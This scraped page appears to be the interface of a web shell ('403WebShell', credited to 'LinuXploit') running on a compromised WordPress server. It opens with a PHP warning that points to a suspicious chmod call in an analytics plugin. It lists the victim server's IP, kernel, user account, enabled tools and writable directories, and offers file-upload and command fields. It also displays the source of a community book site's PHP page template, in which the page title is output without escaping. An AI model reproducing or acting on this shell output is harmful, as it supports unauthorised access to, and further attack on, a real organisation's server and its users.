Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_books/_oldcore/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_books/_oldcore/views/template_page.php
<?php

class template_page extends View {

	var $show_title = 1;
	var $show_navigation = 1;
	
	function __construct() {
		parent::__construct();
	}

	public function _render($body, $right) {
		extract($this->pageVars);
		ob_start();
		$yy = date('Y');
		$today = date('l, F j, Y');
		$dtitle = htmlspecialchars($title);
		

	if ($javascript_onload != '') {
		$javascript .= <<<BLOCK

$(document).ready(function() {
	$javascript_onload
} );
BLOCK;

	}
			
// EmulateIE7 required for IE11 -- otherwise "<!--[if...] -->" will not work

	$dbounce = htmlspecialchars($bounce);
	$ebounce = urlencode($bounce);
	$userid = isset($_SESSION['scpid']) ? $_SESSION['scpid'] : '';
	if (empty($userid)) {
		$loginlink = '<a href="#" onClick="return show_popup(event);">Login</a>';
		$login = <<<BLOCK
<div id="popwin"><form method="post" action="/admin/login"><input type="hidden" name="bounce" value="$dbounce">
<table border="0" cellpadding="2" cellspacing="0">
<tr><td colspan="2"></td>
<td rowspan="4" valign="top"><a href="#" onclick="return hide_popup();"><img src="/img/btn_close.gif" width="16" height="14" border="0"></a></td></tr>
<tr><td colspan="2" style="color:#333">Log in using your WordPress credentials</td></tr>
<tr><td>Username:&nbsp;</td><td><input id="user" name="user" type="text" value=""></td></tr>
<tr><td>Password:</td><td><input id="pass" name="pass" type="password" value=""></td></tr>
<tr><td colspan="2" align="right"><input name="s" type="submit" value="    log in    "></td></tr>
</table></form></div>
BLOCK;
	} else {
		$loginlink = "<a href=\"/admin/logout?bounce=$ebounce\">Logout</a>";
		$login = '';
		if ($this->show_navigation) {
			$default_right = <<<BLOCK
<h4>&nbsp; Maintenance &nbsp;</h4>
<ul>
<li><a href="/admin/stock_group">Stock Groups</a></li>
<li><a href="/admin/author">Authors</a></li>
<li><a href="/admin/location">Locations</a></li>
<li><a href="/admin/title">Titles</a></li>
<li><a href="/admin/stock">Books</a></li>
<li><a href="/admin/member">Members</a></li>
<li><a href="/terminal/stocktake/">Stocktake</a></li>
</ul>

<h4>&nbsp; Reports &nbsp;</h4>
<ul>
<li><a href="/admin/rep_mem.php">Membership</a></li>
<li><a href="/admin/rep_value.php">Stock Valuation</a></li>
<li><a href="/admin/rep_books.php?fn=adMin">Borrowed Books</a></li>
<li><a href="/admin/rep_books.php?fn=overdue">Overdue Books</a></li>
<li><a href="/admin/rep_nondisplay.php">Not on Display</a></li>
<li><a href="/admin/rep_nostock.php">Out of Stock</a></li>
<li><a href="/admin/rep_invoice.php">Print Invoice</a></li>
<li><a href="/admin/rep_pricelist.php">Price List</a></li>
<li><a href="/admin/rep_unallocated.php">Unallocated Barcodes</a></li>
<li><a href="/admin/rep_sales.php">Sales Summary</a></li>
</ul>
$default_right

BLOCK;
		}
	}

	if ($this->show_title) $body = '<h2>' . $title . '</h2>' . $body;
	if ($title != '') $title = ' - ' . $title;

echo <<<BLOCK
<!DOCTYPE html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<meta name="viewport" content="width=device-width" />
<meta name="MSSmartTagsPreventParsing" content="TRUE">
<title>books.hopeinstoughton.org $title</title>
<link rel="icon" type="image/vnd.microsoft.icon" href="/img/favicon.ico" />
<link href="/inc/css.css" rel="stylesheet" type="text/css">
<!--[if IE]> <style type="text/css">@import "/inc/ie_hack.css";</style> <![endif]-->

<script type="text/javascript" src="/inc/jquery-1.6.4.min.js"></script>
<script type="text/javascript" src="/inc/books.js"></script>
<style type="text/css">
$css
</style>

$javascript_include
<script type="text/javascript">
$javascript
</script>
$javascript_footer
</head>
<body>
$include_body
<div id="price" class="menuskin"><iframe src="about:blank" width="410" height="225" frameborder="0" id="dest"></iframe></div>
$login<div id="main">
 <div id="topdate">
   <div id="topitem1">$today</div>
   <div id="topitem2"><ul><li><a href="/main/search">Search</a></li><li>$loginlink</li></ul></div>
 </div>
 <div id="header">
   <h1>books.hopeinstoughton.org</h1>
 </div>
 <div class="nav2">	
	<ul>
		<li><a href="/" class="selected">Home</a></li>
		<li><a href="/main/search" class="nav2b">Locate Book</a></li>
		<li><a href="/main/request" class="nav2b">Order Book</a></li>
		<li><a href="/purchase.php" class="nav2b">Purchase</a></li>
		<li><a href="/main/contact" class="nav2b">Contact Us</a></li>
	</ul>
 </div>
 
 <div id="content" class="clearfix">
    <div class="column" style="width:513px; padding-top: 10px">
	$body
</div>
<div class="column rightcol">
$default_right
</div>

</div>
 <div id="footer">&copy; $yy, books.hopeinstoughton.org</div>
</div>
</body>
</html>



BLOCK;
		return ob_get_clean();

	}

	public function render($body, $title = '', $right = '') {
		global $VARIABLE, $config, $THIS_URL;

		$this->set('title', $title);
		$this->set('bounce', $THIS_URL);
		foreach($VARIABLE as $key => $value) {
			$this->set($key, $value);
		}
		return $this->_render($body, $right);
	}
	
}


Youez - 2016 - github.com/yon3zu
LinuXploit